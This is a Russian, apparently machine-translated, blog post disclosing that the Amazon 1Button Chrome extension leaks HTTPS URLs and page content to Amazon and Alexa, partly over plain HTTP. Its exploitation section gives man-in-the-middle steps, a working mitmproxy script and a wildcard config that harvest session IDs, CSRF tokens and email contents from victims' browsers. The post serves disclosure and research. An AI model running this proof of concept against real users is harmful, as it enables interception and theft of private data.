tldr: Небезопасные надстройки браузера могут утечь весь ваш зашифрованный трафик SSL, включая эксплойты.
Итак, Сноуден выпустил кошку из сумки. Они слушают — новости настолько велики, что федералы больше не приветствуются в DEFCON. Но давайте все будем честными — кто не любит заглядывать в чужие секреты? Мы все знаем, как настроить мошенническую точку доступа и использовать ettercap. Создание собственной стены овец тривиально . Я думаю, что мы можем с уверенностью предположить — трафик в виде открытого текста очень легко подслушивать и изменять .
Реальная сделка, однако, заключается в зашифрованном трафике. В мире браузера это означает, что все сочные вещи отправляются через HTTPS . Хотя перехват HTTPS-соединений возможен, мы можем сделать это только через:
- взлом CA
- социальная инженерия (установить сертификат)
- полагаться на синдром кликов для предупреждений SSL
Слишком сложно. Давайте попробуем несколько побочных каналов. Позвольте мне показать вам, как вы можете просматривать все данные , зашифрованные с помощью SSL , с помощью приложения Amazon 1Button, установленного в браузерах ваших жертв.
ИНФОРМАЦИЯ О РАСШИРЕНИИ
Версия: 3.2013.627.0
Обновлено: 28 июня 2013 г.
AMAZON ЗАБОТАЕТ О ВАШЕЙ КОНФИДЕНЦИАЛЬНОСТИ … НЕ
Во-первых, немного информации о том, как это нарушает вашу конфиденциальность, если вы уже используете его (tldr; удалите СЕЙЧАС!). Происходит несколько интересных вещей (все они не требуют взаимодействия с пользователем и основаны на настройках по умолчанию):
Он сообщает Amazon каждый URL, который вы посещаете, даже HTTPS.
GET /gp/bit/apps/web/SIA/scraper?url=https://gist.github.com/ HTTP/1.1 Host: www.amazon.com Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 Referer: https://gist.github.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8,pl;q=0.6 Cookie: lots-of-amazon-cookies
К сожалению, этот запрос идет по HTTPS, поэтому только Amazon может знать ваши URL. Возможно, вы захотите взглянуть на версию расширения Firefox (подсказка, подсказка).
Это против того, что они утверждают в своей Политике конфиденциальности :
Amazon Browser Apps также может собирать информацию о веб-сайтах, которые вы просматриваете,
но эта информация не связана с вашей учетной записью Amazon или не идентифицирована с вами.
Ну, запрос на https://www.amazon.com/gp/bit/apps/web/SIA/scraper?url=https://gist.github.com/ отправляет много моих файлов cookie Amazon, не так ли? ? Но это только начало.
Amazon XSS-es каждый посещаемый вами сайт
Так называемая особенность расширения SIA заключается в следующем:
// main.js in extension code
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
if (siaEnabled && changeInfo.status === 'complete') {
Logger.log('Injecting SIA');
storage.get('options.ubp_root', function(options_root) {
var root = options_root['options.ubp_root']
chrome.tabs.executeScript(null, { code: "(function() { var s = document.createElement('script'); s.src = \"" + root + "/gp/bit/apps/web/SIA/scraper?url=\" + document.location.href; document.body.appendChild(s);}());" });
});
}
});
Таким образом, он прикрепляет внешний <script> на любом веб-сайте, и его код может быть привязан к точному URL-адресу страницы. Честно говоря, в настоящее время скрипт для всех протестированных сайтов является просто безвредной функцией.
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Jul 2013 11:14:34 GMT
Content-Type: text/javascript; charset=UTF-8
...
(function(window,document){})(window,document);
Так что это похоже на то, как ниндзя отправляется в каждый дом, который просто ждет дальнейших заказов. / мне все равно это не нравится. Кто знает, какие сайты модифицируются, может, это зависит от вашего местоположения, Amazon ID и т. Д.
Он сообщает содержание определенных веб-сайтов, которые вы посещаете в Alexa
Да, не только URL. Например, ваш поиск в Google по HTTPS, и несколько первых результатов теперь известны и Алексе.
POST http://widgets.alexa.com/traffic/rankr/?ref=https%3A%2F%2Fwww.google.pl%2Fsearch%3F...t%2526q%253Dhow%252Bto%252Boverthrow%252Ba%252Bgovernment... HTTP/1.1 Host: widgets.alexa.com Proxy-Connection: keep-alive Content-Length: 662 accept: application/xml Origin: chrome-extension://pbjikboenpfhbbejgkoklgkhjpfogcam User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 Content-Type: text/plain; charset=UTF-8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8,pl;q=0.6 Cookie: aid=JRDTh1rpFM00ES http://rense.com/general50/hwt.htm http://en.wikipedia.org/wiki/Coup_d'%C3%A9tat http://www.law.cornell.edu/uscode/text/18/2385 http://www.thefreedictionary.com/overthrow http://io9.com/5574009/how-to-overthrow-the-government-tips-from-10-science-fiction-revolutionaries http://williamblum.org/essays/read/overthrowing-other-peoples-governments-the-master-list http://www.telegraph.co.uk/news/worldnews/northamerica/usa/9504380/US-soldiers-plotted-to-overthrow-government.html http://ariannaonline.huffingtonpost.com/books/overthrow/ http://www.amazon.com/How-Overthrow-Government-Arianna-Huffington/dp/B000C4SYPC http://codes.lp.findlaw.com/uscode/18/I/115/2385
Вот примерный поиск Google и просмотр того, что было отправлено через прокси.
Обратите внимание на то, что URL-адрес и извлеченная информация о странице передаются по HTTP- адресу. Таким образом, злоумышленники могут получить доступ к информации, которую расширение настроено для отправки в Alexa.
Итог — Амазонка это зло.
AMAZON, ВЫ ПРОСТО …. ТОЛЬКО ?!
Однако реальная проблема заключается в том, что злоумышленники могут активно использовать описанные функции расширения для кражи вашей информации, например, для получения доступа к URL-адресам HTTPS и содержимому страницы. Расширение динамически настраивается путем извлечения информации из Amazon. А именно, после установки (а затем периодически) он запрашивает и обрабатывает два файла конфигурации. Примерный конфиг представлен ниже:
// httpsdatalist.dat
[
"https:[/]{2}(www[0-9]?|encrypted)[.](l.)?google[.].*[/]"
]
// search_conf.js
{
"google" : {
"urlexp" : "http(s)?:\\/\\/www\\.google\\..*\\/.*[?#&]q=([^&]+)",
"rankometer" : {
"url" :"http(s)?:\\/\\/(www(|[0-9])|encrypted)\\.(|l\\.)google\\..*\\/",
"reload": true,
"xpath" : {
"block": [
"//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]",
"//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]",
"//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]"
],
"insert" : [
"./div/div/div/cite",
"./div/div[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'kv', ' ' ) ) ]/cite",
"./div/div/div/div[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'kv', ' ' ) ) ]/cite"
],
"target" : [
"./div/h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href",
"./h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href",
"./div/h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href"
]
}
},
...
},
...
Первый файл определяет, какие HTTPS-сайты можно проверять. Второй файл определяет шаблоны URL, которые нужно отслеживать, и выражения XPath для извлечения контента, о котором сообщается в Alexa. Файлы извлекаются из этих URL:
- http://www.amazon.com/gp/bit/toolbar/3.0/toolbar/httpsdatalist.dat
- http://www.amazon.com/gp/bit/toolbar/3.0/toolbar/search_conf.js
Да. Конфигурация для сообщения о крайне закрытых данных отправляется через открытый текст HTTP . WTF, Амазонка?
EXPLOITATION
Использовать это очень просто:
- Настройте / смоделируйте HTTP man-in-the-middle
- Прослушивать HTTP-запросы для вышеуказанных файлов конфигурации
- Ответ с подстановочной конфигурацией (прослушать все https: // сайты и извлечь все тело)
- Записывайте все HTTP-запросы подзапроса в Alexa, собирая ранее зашифрованные клиентские веб-страницы.
Для демонстрации я создал скрипт mitmproxy, который преобразует расширение Amazon 1Button Chrome в прозрачный HTTPS-> HTTP-прокси для бедного человека .
#!/usr/bin/env python
def start(sc):
sc.log("Amazon One Click pwner started")
def response(sc, f):
if f.request.path.startswith('/gp/bit/toolbar/3.0/toolbar/search_conf.js'):
f.response.decode() # removes gzip header
f.response.content = open('pwn.json','r').read()
elif f.request.path.startswith('/gp/bit/toolbar/3.0/toolbar/httpsdatalist.dat'):
f.response.decode() # removes gzip header
f.response.content = '["https://"]' # log'em all
def request(sc, f):
if f.request.path.startswith('/traffic/rankr/'):
q = f.request.get_query()
p = q.get_first('ref')
if p and f.request.content:
c = open('pwn.log', 'a')
c.write(p + "\n" + f.request.get_decoded_content() + "\n============\n")
c.close()
и бесплатный pwn.json:
{
"pwn" : {
"urlexp" : "http(s)?:\\/\\/",
"rankometer" : {
"url" :"http(s)?:\\/\\/",
"reload": true,
"xpath" : {
"block": [
"//html"
],
"insert" : [
"//html"
],
"target" : [
"//html"
]
}
},
"cba" : {
"url" :"http(s)?:\\/\\/",
"reload": true
}
}
}
Чтобы начать атаку, просто направьте весь трафик HTTP (порт 80) на mitmproxy и запустите скрипт:
$ mitmproxy -s pwn.py
Теперь установите расширение в Chrome (или отключите и включите его для быстрой перезагрузки конфигурации) и начните просмотр. Все захваченные данные HTTPS будут в файле pwn.log.
ОГРАНИЧЕНИЯ
- Мы ограничены выражениями XPath для извлечения контента, поэтому я не могу вернуть обычный источник HTML, не могу получить доступ к заголовкам и т. Д. Самое близкое, что я получил, — это строковое значение узла // html, которое в некоторой степени является содержимым всех текстовых узлов. на странице
- Отслеживание приложений AJAX работает плохо, так как расширение не сообщает XMLHttpRequestresponses
- Мы только пассивно слушаем, нет возможности изменить трафик
Тем не менее, есть много частной информации в захваченном трафике. Токены CSRF, идентификаторы сессий, содержимое электронной почты, содержимое документа на Google Диске, вы называете это имя. Спасибо, Amazon, за защиту моей конфиденциальности. А если серьезно — перенесите весь свой дополнительный трафик только на HTTPS. А еще лучше удалить код отслеживания.
Я провел другие исследования безопасности расширений Google Chrome , читайте больше, если вы нашли эту тему интересной.



